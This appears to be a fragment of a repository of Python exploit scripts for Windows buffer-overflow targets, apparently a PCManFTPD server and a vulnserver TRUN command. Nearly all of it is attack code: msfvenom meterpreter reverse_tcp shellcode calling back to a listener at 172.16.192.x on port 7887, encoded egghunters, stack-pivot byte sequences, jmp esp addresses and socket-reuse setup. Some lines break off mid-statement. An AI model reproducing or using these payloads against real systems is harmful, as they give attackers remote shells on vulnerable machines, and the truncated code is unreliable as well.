"\x76\x43\x6c\x46\x71\x6c\x49\x6f\x38\x53" 41 | encoded_calc_esi += "\x74\x71\x39\x50\x42\x70\x6f\x4b\x49\x6a" 42 | encoded_calc_esi += "\x6a\x6a\x4e\x61\x73\x4c\x59\x6f\x39\x43" 43 | encoded_calc_esi += "\x5a\x48\x6d\x30\x69\x6f\x4b\x4f\x39\x6f" 44 | encoded_calc_esi += "\x52\x43\x50\x6d\x33\x54\x34\x6e\x43\x55" 45 | encoded_calc_esi += "\x44\x38\x75\x35\x65\x70\x64\x6f\x70\x63" 46 | encoded_calc_esi += "\x37\x50\x50\x63\x55\x31\x30\x6c\x72\x43" 47 | encoded_calc_esi += "\x76\x4e\x70\x65\x34\x38\x70\x65\x41\x41" 48 | 49 | 50 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.192.212 LPORT=7887 -b "\x00\x0a\x0d" -a x86 --platform windows -f py -v rev_met_7887_esi bufferregister=ESI 51 | 52 | magic = "\x8B\xC3" # MOV EAX,EBX 53 | magic += "\x05\x99\x99\x11\x11" # ADD EAX,11119999 54 | magic += "\x2D\x99\x75\x11\x11" # SUB EAX,11117999 55 | magic += "\x2B\xE0" # SUB ESP,EAX 56 | magic += "\x57" # PUSH EDI 57 | magic += "\x58" # POP EAX 58 | magic += "\x04\x17" # ADD AL,0F 59 | magic += "\x50" # PUSH EAX 60 | magic += "\x5E" # POP ESI 61 | magic += "\x90" # NOP 62 | magic += "\x56" # PUSH ESI 63 | magic += "\x59" # POP ECX 64 | 65 | rev_met_7887_esi = "w00tw00t" 66 | rev_met_7887_esi += magic 67 | print "Number of bytes of magic: " + str(len(magic)) 68 | rev_met_7887_esi += "\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49" 69 | rev_met_7887_esi += "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51" 70 | rev_met_7887_esi += "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b" 71 | rev_met_7887_esi += "\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" 72 | rev_met_7887_esi += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75" 73 | rev_met_7887_esi += "\x4a\x49\x69\x6c\x4d\x38\x6d\x52\x53\x30" 74 | rev_met_7887_esi += "\x53\x30\x55\x50\x31\x70\x4f\x79\x6a\x45" 75 | rev_met_7887_esi += "\x74\x71\x79\x50\x52\x44\x6e\x6b\x62\x70" 76 | rev_met_7887_esi += "\x54\x70\x6e\x6b\x73\x62\x64\x4c\x4c\x4b" 77 | rev_met_7887_esi += "\x70\x52\x62\x34\x6e\x6b\x72\x52\x36\x48" 78 | rev_met_7887_esi += "\x64\x4f\x4f\x47\x62\x6a\x57\x56\x34\x71" 79 | rev_met_7887_esi += "\x49\x6f\x4e\x4c\x47\x4c\x43\x51\x51\x6c" 80 | rev_met_7887_esi += "\x56\x62\x46\x4c\x71\x30\x4f\x31\x78\x4f" 81 | rev_met_7887_esi += "\x64\x4d\x53\x31\x7a\x67\x39\x72\x78\x72" 82 | rev_met_7887_esi += "\x72\x72\x50\x57\x6e\x6b\x32\x72\x34\x50" 83 | rev_met_7887_esi += "\x4e\x6b\x31\x5a\x55\x6c\x6e\x6b\x32\x6c" 84 | rev_met_7887_esi += "\x76\x71\x61\x68\x39\x73\x47\x38\x76\x61" 85 | rev_met_7887_esi += "\x58\x51\x30\x51\x4e\x6b\x73\x69\x51\x30" 86 | rev_met_7887_esi += "\x77\x71\x79\x43\x6e\x6b\x73\x79\x56\x78" 87 | rev_met_7887_esi += "\x68\x63\x66\x5a\x33\x79\x4c\x4b\x54\x74" 88 | rev_met_7887_esi += "\x6c\x4b\x73\x31\x6a\x76\x35\x61\x6b\x4f" 89 | rev_met_7887_esi += "\x4c\x6c\x59\x51\x6a\x6f\x36\x6d\x36\x61" 90 | rev_met_7887_esi += "\x59\x57\x76\x58\x79\x70\x42\x55\x5a\x56" 91 | rev_met_7887_esi += "\x57\x73\x33\x4d\x58\x78\x35\x6b\x43\x4d" 92 | rev_met_7887_esi += "\x35\x74\x31\x65\x79\x74\x36\x38\x4c\x4b" 93 | rev_met_7887_esi += "\x76\x38\x64\x64\x35\x51\x6e\x33\x71\x76" 94 | rev_met_7887_esi += "\x4e\x6b\x36\x6c\x72\x6b\x6c\x4b\x30\x58" 95 | rev_met_7887_esi += "\x45\x4c\x67\x71\x68\x53\x6c\x4b\x45\x54" 96 | rev_met_7887_esi += "\x4e\x6b\x36\x61\x4e\x30\x4e\x69\x67\x34" 97 | rev_met_7887_esi += "\x55\x74\x64\x64\x63\x6b\x53\x6b\x71\x71" 98 | rev_met_7887_esi += "\x61\x49\x62\x7a\x63\x61\x39\x6f\x59\x70" 99 | rev_met_7887_esi += "\x33\x6f\x73\x6f\x62\x7a\x6e\x6b\x57\x62" 100 | rev_met_7887_esi += "\x58\x6b\x4c\x4d\x43\x6d\x30\x68\x50\x33" 101 | rev_met_7887_esi += "\x75\x62\x33\x30\x47\x70\x31\x78\x62\x57" 102 | rev_met_7887_esi += "\x53\x43\x66\x52\x53\x6f\x52\x74\x32\x48" 103 | rev_met_7887_esi += "\x42\x6c\x63\x47\x57\x56\x37\x77\x6e\x69" 104 | rev_met_7887_esi += "\x4d\x38\x39\x6f\x48\x50\x48\x38\x6e\x70" 105 | rev_met_7887_esi += "\x67\x71\x53\x30\x63\x30\x71\x39\x5a\x64" 106 | rev_met_7887_esi += "\x61\x44\x46\x30\x35\x38\x31\x39\x6d\x50" 107 | rev_met_7887_esi += "\x32\x4b\x37\x70\x39\x6f\x79\x45\x71\x7a" 108 | rev_met_7887_esi += "\x46\x6a\x31\x78\x6c\x6c\x66\x70\x6f\x30" 109 | rev_met_7887_esi += "\x48\x54\x32\x48\x43\x32\x63\x30\x37\x6e" 110 | rev_met_7887_esi += "\x68\x4f\x6e\x69\x49\x76\x62\x70\x50\x50" 111 | rev_met_7887_esi += "\x30\x50\x72\x70\x73\x70\x72\x70\x57\x30" 112 | rev_met_7887_esi += "\x32\x70\x30\x68\x6b\x5a\x56\x6f\x69\x4f" 113 | rev_met_7887_esi += "\x4b\x50\x4b\x4f\x6b\x65\x6a\x37\x70\x6a" 114 | rev_met_7887_esi += "\x74\x50\x62\x76\x72\x77\x31\x78\x6c\x59" 115 | rev_met_7887_esi += "\x69\x35\x71\x64\x63\x51\x6b\x4f\x38\x55" 116 | rev_met_7887_esi += "\x6c\x45\x39\x50\x51\x64\x45\x5a\x49\x6f" 117 | rev_met_7887_esi += "\x30\x4e\x64\x48\x44\x35\x48\x6c\x4a\x48" 118 | rev_met_7887_esi += "\x51\x77\x45\x50\x63\x30\x67\x70\x33\x5a" 119 | rev_met_7887_esi += "\x55\x50\x53\x5a\x77\x74\x42\x76\x50\x57" 120 | rev_met_7887_esi += "\x30\x68\x64\x42\x6e\x39\x4b\x78\x51\x4f" 121 | rev_met_7887_esi += "\x49\x6f\x6e\x35\x6d\x53\x39\x68\x75\x50" 122 | rev_met_7887_esi += "\x31\x6e\x46\x56\x4e\x6b\x74\x76\x71\x7a" 123 | rev_met_7887_esi += "\x47\x30\x45\x38\x77\x70\x62\x30\x33\x30" 124 | rev_met_7887_esi += "\x37\x70\x46\x36\x50\x6a\x63\x30\x71\x78" 125 | rev_met_7887_esi += "\x31\x48\x49\x34\x72\x73\x6b\x55\x49\x6f" 126 | rev_met_7887_esi += "\x6a\x75\x6d\x43\x32\x73\x70\x6a\x33\x30" 127 | rev_met_7887_esi += "\x42\x76\x43\x63\x71\x47\x61\x78\x73\x32" 128 | rev_met_7887_esi += "\x78\x59\x69\x58\x43\x6f\x6b\x4f\x7a\x75" 129 | rev_met_7887_esi += "\x4b\x33\x49\x68\x67\x70\x51\x6d\x76\x48" 130 | rev_met_7887_esi += "\x76\x38\x45\x38\x75\x50\x47\x30\x43\x30" 131 | rev_met_7887_esi += "\x57\x70\x32\x4a\x63\x30\x52\x70\x53\x58" 132 | rev_met_7887_esi += "\x36\x6b\x36\x4f\x46\x6f\x76\x50\x49\x6f" 133 | rev_met_7887_esi += "\x5a\x75\x30\x57\x50\x68\x32\x55\x50\x6e" 134 | rev_met_7887_esi += "\x50\x4d\x55\x31\x79\x6f\x38\x55\x73\x6e" 135 | rev_met_7887_esi += "\x33\x6e\x49\x6f\x74\x4c\x34\x64\x34\x4f" 136 | rev_met_7887_esi += "\x6b\x35\x72\x50\x39\x6f\x49\x6f\x39\x6f" 137 | rev_met_7887_esi += "\x38\x69\x4f\x6b\x79\x6f\x69\x6f\x6b\x4f" 138 | rev_met_7887_esi += "\x76\x61\x6f\x33\x56\x49\x69\x56\x30\x75" 139 | rev_met_7887_esi += "\x4b\x71\x58\x43\x4d\x6b\x38\x70\x6e\x55" 140 | rev_met_7887_esi += "\x69\x32\x30\x56\x42\x4a\x45\x50\x43\x63" 141 | rev_met_7887_esi += "\x49\x6f\x6a\x75\x41\x41" 142 | 143 | 144 | 145 | nops = "w00tw00t" + "\x90" * 7 146 | calc = nops 147 | calc += "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x13\x53\xbb\xad\x23\x86\x7c" 148 | calc += "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff" 149 | calc += "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x63\x61\x6c\x63\x2e\x65" 150 | calc += "\x78\x65" 151 | 152 | # msfvenom -p generic/custom PAYLOADFILE=egghunter.bin -e x86/alpha_mixed BufferRegister=EAX -a x86 --platform Windows -f python -v encoded_egg_hunter 153 | egghunter_encoded_eax = "" 154 | egghunter_encoded_eax += "\x50\x59\x49\x49\x49\x49\x49\x49\x49" 155 | egghunter_encoded_eax += "\x49\x49\x49\x49\x49\x49\x49\x49\x49" 156 | egghunter_encoded_eax += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41" 157 | egghunter_encoded_eax += "\x30\x41\x6b\x41\x41\x51\x32\x41\x42" 158 | egghunter_encoded_eax += "\x32\x42\x42\x30\x42\x42\x41\x42\x58" 159 | egghunter_encoded_eax += "\x50\x38\x41\x42\x75\x4a\x49\x55\x36" 160 | egghunter_encoded_eax += "\x6b\x31\x38\x4a\x69\x6f\x74\x4f\x43" 161 | egghunter_encoded_eax += "\x72\x33\x62\x32\x4a\x74\x42\x52\x78" 162 | egghunter_encoded_eax += "\x48\x4d\x54\x6e\x47\x4c\x65\x55\x62" 163 | egghunter_encoded_eax += "\x7a\x44\x34\x4a\x4f\x6c\x78\x70\x77" 164 | egghunter_encoded_eax += "\x54\x70\x74\x70\x51\x64\x4e\x6b\x69" 165 | egghunter_encoded_eax += "\x6a\x6e\x4f\x54\x35\x69\x7a\x4c\x6f" 166 | egghunter_encoded_eax += "\x71\x65\x78\x67\x59\x6f\x5a\x47\x41" 167 | egghunter_encoded_eax += "\x41" 168 | 169 | egghunter_address = "" 170 | egghunter_address += "\x54" # PUSH ESP 171 | egghunter_address += "\x58" # POP EAX 172 | egghunter_address += "\x2D\x3A\x55\x55\x55" # SUB EAX,5555553A 173 | egghunter_address += "\x2D\x3A\x55\x55\x55" # SUB EAX,5555553A 174 | egghunter_address += "\x2D\x3C\x55\x55\x55" # SUB EAX,5555553C 175 | 176 | # 0x0043410d : jmp esp | startnull,ascii {PAGE_EXECUTE_READ} [PCManFTPD2.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.0.0.0 (C:\Documents and Settings\Administrator\My Documents\Downloads\pcman\PCManFTPD2.exe) 177 | jmp_esp = pack(" pop pop rtn 0x10010334 10 | crash1 += pack("] ; WS2_32.socket(2,1,6) 50 | # 00402564 $-FF25 D8614000 JMP DWORD PTR DS:[<&WS2_32.bind>] ; WS2_32.bind 51 | # 00402554 $-FF25 F0614000 JMP DWORD PTR DS:[<&WS2_32.listen>] ; WS2_32.listen 52 | # 0040254C $-FF25 D4614000 JMP DWORD PTR DS:[<&WS2_32.accept>] ; WS2_32.accept 53 | # 0040252C $-FF25 F4614000 JMP DWORD PTR DS:[<&WS2_32.recv>] ; WS2_32.recv 54 | 55 | # 00402DC0 $-FF25 98614000 JMP DWORD PTR DS:[<&msvcrt.malloc>] ; msvcrt.malloc 56 | # 00402E48 $-FF25 54614000 JMP DWORD PTR DS:[<&KERNEL32.VirtualProt>; kernel32.VirtualProtect 57 | 58 | # EAX 00B7F22C 59 | # ECX 003E6A6C 60 | # EDX 00000000 61 | # EBX 00000080 62 | # ESP 00B7FA0C 63 | # EBP 41414141 64 | # ESI 0024A6F8 65 | # EDI 0024DE38 66 | # EIP 00B7FA0D 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /trun_recv_reuse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import socket 3 | from struct import pack 4 | from time import sleep 5 | 6 | host = '172.16.192.168' 7 | port = 9999 8 | max_size = 5000 9 | 10 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.192.224 LPORT=7887 11 | # -b "\x00\x21" -a x86 --platform windows -f py -v shellcode 12 | shellcode = "" 13 | shellcode += "\xba\xbe\x7a\x55\x7d\xd9\xcf\xd9\x74\x24\xf4\x5b" 14 | shellcode += "\x2b\xc9\xb1\x56\x31\x53\x13\x03\x53\x13\x83\xeb" 15 | shellcode += "\x42\x98\xa0\x81\x52\xdf\x4b\x7a\xa2\x80\xc2\x9f" 16 | shellcode += "\x93\x80\xb1\xd4\x83\x30\xb1\xb9\x2f\xba\x97\x29" 17 | shellcode += "\xa4\xce\x3f\x5d\x0d\x64\x66\x50\x8e\xd5\x5a\xf3" 18 | shellcode += "\x0c\x24\x8f\xd3\x2d\xe7\xc2\x12\x6a\x1a\x2e\x46" 19 | shellcode += "\x23\x50\x9d\x77\x40\x2c\x1e\xf3\x1a\xa0\x26\xe0" 20 | shellcode += "\xea\xc3\x07\xb7\x61\x9a\x87\x39\xa6\x96\x81\x21" 21 | shellcode += "\xab\x93\x58\xd9\x1f\x6f\x5b\x0b\x6e\x90\xf0\x72" 22 | shellcode += "\x5f\x63\x08\xb2\x67\x9c\x7f\xca\x94\x21\x78\x09" 23 | shellcode += "\xe7\xfd\x0d\x8a\x4f\x75\xb5\x76\x6e\x5a\x20\xfc" 24 | shellcode += "\x7c\x17\x26\x5a\x60\xa6\xeb\xd0\x9c\x23\x0a\x37" 25 | shellcode += "\x15\x77\x29\x93\x7e\x23\x50\x82\xda\x82\x6d\xd4" 26 | shellcode += "\x85\x7b\xc8\x9e\x2b\x6f\x61\xfd\x23\x5c\x48\xfe" 27 | shellcode += "\xb3\xca\xdb\x8d\x81\x55\x70\x1a\xa9\x1e\x5e\xdd" 28 | shellcode += "\xb8\x09\x61\x31\x02\x59\x9f\xb2\x72\x73\x64\xe6" 29 | shellcode += "\x22\xeb\x4d\x87\xa9\xeb\x72\x52\x47\xe6\xe4\xf1" 30 | shellcode += "\x87\x36\x11\x61\xa5\xb6\xc4\xbd\x20\x50\xa8\x11" 31 | shellcode += "\x62\xcd\x09\xc2\xc2\xbd\xe1\x08\xcd\xe2\x12\x33" 32 | shellcode += "\x04\x8b\xb9\xdc\xf0\xe3\x55\x44\x59\x7f\xc7\x89" 33 | shellcode += "\x74\x05\xc7\x02\x7c\xf9\x86\xe2\xf5\xe9\xff\x94" 34 | shellcode += "\xf5\xf1\xff\x30\xf5\x9b\xfb\x92\xa2\x33\x06\xc2" 35 | shellcode += "\x84\x9b\xf9\x21\x97\xdc\x06\xb4\xa1\x97\x31\x22" 36 | shellcode += "\x8d\xcf\x3d\xa2\x0d\x10\x68\xa8\x0d\x78\xcc\x88" 37 | shellcode += "\x5e\x9d\x13\x05\xf3\x0e\x86\xa6\xa5\xe3\x01\xcf" 38 | shellcode += "\x4b\xdd\x66\x50\xb4\x08\xf5\x97\x4a\xce\xd2\x3f" 39 | shellcode += "\x22\x30\x63\xc0\xb2\x5a\x63\x90\xda\x91\x4c\x1f" 40 | shellcode += "\x2a\x59\x47\x48\x22\xd0\x06\x3a\xd3\xe5\x02\x9a" 41 | shellcode += "\x4d\xe5\xa1\x07\x7e\x9c\xca\xb8\x7f\x61\xc3\xdc" 42 | shellcode += "\x80\x61\xeb\xe2\xbd\xb7\xd2\x90\x80\x0b\x61\xaa" 43 | shellcode += "\xb7\x2e\xc0\x21\xb7\x7d\x12\x60" 44 | 45 | exploit = "\x83\xEC\x30" # SUB ESP, 30 46 | exploit += "\x52" # PUSH ESP 47 | exploit += "\xB6\x02" # MOV DH, 2 48 | 49 | exploit += "\x52" # PUSH EDX 50 | exploit += "\x54" # PUSH ESP 51 | exploit += "\x5A" # POP EDX 52 | exploit += "\x83\xC2\x60" # ADD EDX,60 53 | exploit += "\x52" # PUSH EDX 54 | 55 | exploit += "\xBA\x44\x94\xFB\xB7" # MOV EDX,B7FB9844 56 | exploit += "\xC1\xEA\x08" # SHR EDX,8 57 | exploit += "\xFF\x32" # PUSH EDX 58 | 59 | exploit += "\xBA\x33\x2C\x25\x40" # SOCKET ADDR 60 | exploit += "\xC1\xEA\x08" # SHR EDX, 8 61 | exploit += "\xFF\xD2" # PUSH EDX 62 | 63 | payload = "A" * 2003 64 | payload += pack("